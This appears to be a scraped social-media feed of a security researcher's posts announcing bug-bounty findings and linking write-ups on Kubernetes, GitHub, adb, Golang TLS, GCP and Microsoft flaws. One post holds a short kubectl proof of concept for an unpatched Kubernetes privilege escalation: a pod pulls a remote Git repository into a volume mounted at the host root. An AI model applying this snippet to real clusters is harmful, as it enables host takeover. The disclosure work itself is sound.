Photos and videos
Manually reading thousands of rejected vuln reports is a mind-killer. 🧠💀
​I used AI to cluster years of Google Cloud VRP data to reveal exactly why reports get bounced. Hunt smarter, not harder.
​Check the insights: bughunters.google.com/learn/…
​#GoogleVRP #BugBounty #AI #Infosec
1
15
141
8,432
Check /tmp/poc @ host:
kubectl apply -f - <<Z
apiVersion: v1
kind: Pod
metadata:
name: x
spec: {containers: [{image: i,name: c,volumeMounts: [{mountPath: /,name: g}]}],volumes: [{name: g,gitRepo: {repository: github.com/irsl/g.git,revisi…: main,directory: g/.git}}]}
Z
1
4
633
Yes, this is a yet unpatched privesc in Kubernetes :)
Full context here: irsl.medium.com/sneaky-write…
2
1
3
314
And an article about two related projects I've been working on:
bughunters.google.com/blog/6…
1
1
1
206
Write up about the first batch of findings I reported to the Github bug bounty program:
irsl.medium.com/github-bug-b…
One flaw in Github Actions and a couple in Github CLI. The next article will be about Github Enterprise Server :)
1
3
13
1,416
A compromised Android Debug Bridge daemon could:
CVE-2022-3168: open network connections to arbitrary destinations on the host
CVE-2022-20128: write files on host during adb pull
Both fixed in Platform Tools v33.0.3
Google's Firebase Test Lab no longer affected ;)
#android
1
9
14
2
4
Golang's TLS client implementation had been vulnerable to a denial of service flaw since the very beginnings (including 1.0!). The victim golang client apps, when connecting to an attacker controlled TLS server (e.g. https), may crash (panic).
github.com/alexzorin/cve-202…
1
1
A yet-unfixed flaw affecting virtual machines hosted in the Compute Engine platform of Google: abusing the DHCP protocol allows taking over hosts (getting a root shell) remotely. github.com/irsl/gcp-dhcp-tak…
#Google #GCP
1
10
25
Tech details about an elevation of privileges flaw in Microsoft's Diagnostics Hub service.
github.com/irsl/microsoft-di…
CVE-2021-28321 CVE-2021-28322 CVE-2021-28323
1
1
Technical write-up about how I opened a reverse shell in Google's managed MySQL and Postgres platforms irsl.medium.com/dropping-a-s…
2
2